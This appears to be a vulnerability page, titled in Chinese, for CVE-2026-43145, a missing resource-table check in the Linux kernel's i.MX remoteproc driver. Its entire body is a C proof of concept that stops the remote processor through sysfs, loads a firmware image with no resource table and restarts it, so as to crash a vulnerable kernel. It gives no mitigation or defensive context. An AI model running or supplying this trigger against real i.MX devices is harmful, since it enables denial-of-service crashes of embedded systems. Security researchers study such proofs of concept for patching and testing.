CVE-2026-43145 Linux Kernel imx_rproc资源表检测失效漏洞

/* * PoC Concept for CVE-2026-43145 * This PoC demonstrates the trigger condition. * Requires an affected i.MX device and a firmware image without a resource table. */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> #define FIRMWARE_PATH "/path/to/firmware_without_rsc.elf" #define RPROC_STATE_PATH "/sys/class/remoteproc/remoteproc0/state" #define RPROC_FW_PATH "/sys/class/remoteproc/remoteproc0/firmware" int main() { int fw_fd, state_fd; printf("[+] Attempting to trigger CVE-2026-43145..."); // 1. Stop the remote processor state_fd = open(RPROC_STATE_PATH, O_WRONLY); if (state_fd > 0) { write(state_fd, "stop", 4); close(state_fd); } // 2. Load a firmware that does NOT contain a resource table // but the Device Tree expects one. fw_fd = open(RPROC_FW_PATH, O_WRONLY); if (fw_fd < 0) { perror("[-] Failed to open firmware sysfs"); return 1; } write(fw_fd, FIRMWARE_PATH, sizeof(FIRMWARE_PATH)); close(fw_fd); // 3. Start the remote processor state_fd = open(RPROC_STATE_PATH, O_WRONLY); write(state_fd, "start", 5); close(state_fd); printf("[+] Crash expected if kernel is vulnerable."); return 0; }